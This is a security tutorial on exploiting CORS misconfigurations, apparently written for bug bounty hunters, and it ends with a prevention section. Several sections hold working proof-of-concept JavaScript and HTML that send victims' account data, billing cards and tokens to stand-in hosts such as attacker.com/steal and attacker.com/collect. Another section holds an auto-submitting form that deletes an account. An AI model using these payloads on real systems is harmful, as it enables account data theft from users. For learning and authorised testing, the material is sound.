1. Origin Reflection — Server Mirrors the Origin Header

The most prevalent CORS misconfiguration: the server reads the incoming Origin header and copies its value directly into Access-Control-Allow-Origin. The developer intended to allow only trusted origins but implemented it dynamically without any allow-list check.

Identifying the Misconfiguration

# Send request with a crafted Origin
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://evil.com
Cookie: session=abc123

# Vulnerable server response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"username":"masaaki","email":"[email protected]","apiKey":"sk-prod-xyz"}
Critical: The combination of a reflected Access-Control-Allow-Origin AND Access-Control-Allow-Credentials: true is exploitable. A reflected origin without credentials means the attacker can read unauthenticated data, but cannot make requests as the victim.
PoC Steal account data via origin reflection
<!-- Hosted on attacker.com. Victim visits this page while logged into target.com -->
<script>
fetch('https://target.com/api/v1/account', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  fetch('https://attacker.com/steal?d=' + btoa(data));
});
</script>

The browser sends the victim's session cookie. The server reflects Origin: https://attacker.com back and allows credentials. The fetch() response is readable by the attacker's script.


2. Null Origin Exploit — Sandboxed Iframe

Some servers include null in their CORS allow-list, typically to support local file requests during development. An attacker can trigger a null origin by using a sandboxed iframe — the browser sends Origin: null for requests originating from sandboxed frames.

Server Side

# Vulnerable policy — null is explicitly allowed
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: null
Cookie: session=abc123

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
PoC null origin via sandboxed iframe
<!-- The sandbox attribute with allow-scripts but WITHOUT allow-same-origin
     forces the iframe's origin to "null" -->
<iframe sandbox="allow-scripts allow-forms"
        srcdoc='<script>
fetch("https://target.com/api/v1/account", { credentials: "include" })
  .then(r => r.text())
  .then(d => parent.postMessage(d, "*"));
</script>'></iframe>

<script>
window.addEventListener("message", function(e) {
  fetch("https://attacker.com/steal?d=" + btoa(e.data));
});
</script>

The iframe script runs with Origin: null. The server allows it. The exfiltrated data is posted to the parent window and forwarded to the attacker's server.


3. Subdomain Wildcard Regex Bypass

A common pattern: the server allows all subdomains of target.com via a regex check. If the regex is not anchored correctly, an attacker-controlled domain can satisfy it.

Vulnerable Regex Patterns

// Vulnerable — not anchored at the end
/^https?:\/\/.*\.target\.com/

// Passes for: https://evil.com?x=https://sub.target.com
// Passes for: https://eviltarget.com (if leading .* is too broad)

// Vulnerable — domain not anchored
origin.includes('target.com')

// Passes for: https://attacker-target.com
// Passes for: https://target.com.evil.com

Exploitation via Subdomain in Origin

GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://attacker.target.com.evil.com
Cookie: session=abc123

# If using includes('target.com') — this passes
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.target.com.evil.com
Access-Control-Allow-Credentials: true
Testing tip: Try the following origin variants against each API endpoint: your domain, your-domain.target.com, target.com.yourdomain.com, attacker.target.com (if you control a subdomain), and https://target.com (with an extra suffix).

4. Subdomain Takeover + CORS Chain

When the CORS policy allows all subdomains of target.com (correctly anchored), the attack surface shifts to finding an abandoned subdomain that can be taken over. A successful subdomain takeover transforms a wildcard CORS policy into full account compromise.

Attack Chain

  1. Identify that target.com allows *.target.com CORS origins with credentials.
  2. Enumerate subdomains: subfinder -d target.com | httpx -status-code. Look for CNAMEs pointing to unclaimed third-party services (Heroku, GitHub Pages, Azure, Fastly, S3).
  3. Find a dangling CNAME: dev.target.com CNAME old-app.herokuapp.com (Heroku app deleted).
  4. Register the Heroku app name, deploy your PoC page to old-app.herokuapp.com.
  5. Since dev.target.com now resolves to your server, you send cross-origin requests from it with the victim's cookies.
# Confirm subdomain takeover candidate
dig dev.target.com CNAME
# dev.target.com. 3600 IN CNAME old-app.herokuapp.com.

curl -I https://old-app.herokuapp.com
# HTTP/1.1 404 Not Found — "No such app" — takeover possible

# After takeover, the CORS request from dev.target.com is trusted
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://dev.target.com
Cookie: session=abc123

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dev.target.com
Access-Control-Allow-Credentials: true
Impact: This is critical severity. A takeover + CORS chain allows reading authenticated data from any victim who visits the attacker-controlled subdomain while logged into the target. No user interaction beyond page load is required.

5. Trusting HTTP Origins on an HTTPS Site

If https://target.com allows http://trusted.com as a CORS origin, an attacker on the same network path can intercept or inject content into the HTTP response from trusted.com, then use it to issue credentialed CORS requests to the HTTPS target.

GET /api/v1/account HTTP/1.1
Host: target.com
Origin: http://trusted.com
Cookie: session=abc123

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted.com
Access-Control-Allow-Credentials: true

The attack path: MitM the victim's HTTP traffic to trusted.com (coffee shop, hotel WiFi, ISP injection), serve attacker JavaScript from that domain, which then issues credentialed requests to https://target.com. The HTTPS response is accessible because the CORS policy trusted the HTTP origin.

Amplified risk: HTTP Strict Transport Security (HSTS) on trusted.com breaks this path — but many subdomains and internal tools skip HSTS. The vulnerability exists even when the target itself is fully HTTPS.

6. Pre-flight Bypass — Simple Requests

Browsers only send an OPTIONS pre-flight for requests that use non-simple methods or headers. Simple requests (GET, POST with specific content types, no custom headers) are sent directly — meaning any CORS restriction enforced only via pre-flight response is bypassed.

Simple Request Criteria

# This triggers a pre-flight (blocked by CORS policy)
fetch('https://target.com/api/update', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({email: '[email protected]'}),
  credentials: 'include'
});

# This bypasses pre-flight (simple request, no OPTIONS sent)
fetch('https://target.com/api/update', {
  method: 'POST',
  headers: { 'Content-Type': 'text/plain' },
  body: '{"email":"[email protected]"}',
  credentials: 'include'
});

If the server processes the body as JSON regardless of the stated Content-Type (many frameworks do), the state change succeeds and no pre-flight negotiation was ever consulted. This is a CORS bypass combined with a content-type handling issue.

# Form-based simple request — HTML form can trigger cross-origin POST
# without pre-flight and without JavaScript
<form action="https://target.com/api/v1/account/delete" method="POST">
  <input name="confirm" value="true">
  <input type="submit" id="s">
</form>
<script>document.getElementById('s').click();</script>

7. CORS with Credentials — Full Account Data Theft PoC

The following is a complete, end-to-end proof of concept for stealing the authenticated user's account data from a site with origin-reflection CORS and credential support. This is what you submit in a bug bounty report.

Full PoC Multi-endpoint credential exfiltration
<!-- attacker.com/cors-poc.html -->
<!DOCTYPE html>
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>Loading...</h1>
<pre id="out"></pre>
<script>
const TARGET = 'https://target.com';
const EXFIL  = 'https://attacker.com/collect';
const ENDPOINTS = [
  '/api/v1/account',
  '/api/v1/user/profile',
  '/api/v1/billing/cards',
  '/api/v1/auth/tokens'
];

async function steal() {
  const results = {};
  for (const ep of ENDPOINTS) {
    try {
      const r = await fetch(TARGET + ep, { credentials: 'include' });
      results[ep] = await r.text();
    } catch(e) {
      results[ep] = 'error: ' + e.message;
    }
  }
  document.getElementById('out').textContent = JSON.stringify(results, null, 2);
  await fetch(EXFIL, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({victim: results, ua: navigator.userAgent})
  });
}

steal();
</script>
</body>
</html>

Steps to reproduce for bug report:

  1. Log into target.com as [email protected] in Browser A.
  2. In the same browser session, navigate to https://attacker.com/cors-poc.html.
  3. The page silently fetches /api/v1/account with the victim's session cookie.
  4. Observe the response data appearing on the attacker page and in the server log at attacker.com/collect.

Confirming Exploitability Manually

# Two conditions must BOTH be true for exploitation:

# 1. Reflected or overly permissive ACAO
curl -s -I -H "Origin: https://evil.com" \
  -H "Cookie: session=abc123" \
  https://target.com/api/v1/account | grep -i access-control

# Access-Control-Allow-Origin: https://evil.com  <-- vulnerable
# Access-Control-Allow-Credentials: true          <-- exploitable

# 2. Response contains sensitive data (not just a 200 OK)
# Check that the body includes API keys, PII, session tokens, etc.

8. Prevention

Strict Origin Allow-List

Maintain an explicit set of allowed origins as constants. Compare the incoming Origin header against this set — never reflect it back. If it matches, set the ACAO header to that exact value (not a wildcard).

Never Allow Credentials with Wildcard

Access-Control-Allow-Origin: * cannot be combined with Access-Control-Allow-Credentials: true — browsers reject it. Do not attempt to work around this constraint.

Remove null from Allow-Lists

The origin null should never appear in a production allow-list. It cannot be trusted because attackers can trigger it via sandboxed iframes from any origin.

Anchor Subdomain Regex

If you use regex for subdomain matching, anchor it: /^https:\/\/[a-z0-9-]+\.target\.com$/. Require HTTPS. Do not use .includes() or unanchored patterns.

Eliminate Dangling DNS

Audit all CNAME records quarterly. Remove or update records pointing to decommissioned third-party services. A subdomain takeover converts a trusted CORS origin into an attacker-controlled origin.

Never Trust HTTP Origins on HTTPS Sites

Only allow HTTPS origins in your CORS policy for HTTPS endpoints. HTTP origins can be intercepted and the traffic injected with attacker code.

Defense in Depth: CSRF Tokens

CORS does not replace CSRF protection. Use CSRF tokens for all state-changing operations. A CORS misconfiguration combined with missing CSRF tokens amplifies the impact significantly.

Vary Header

Always include Vary: Origin in CORS responses to prevent cache poisoning where a cached response with a permissive ACAO is served to a different origin.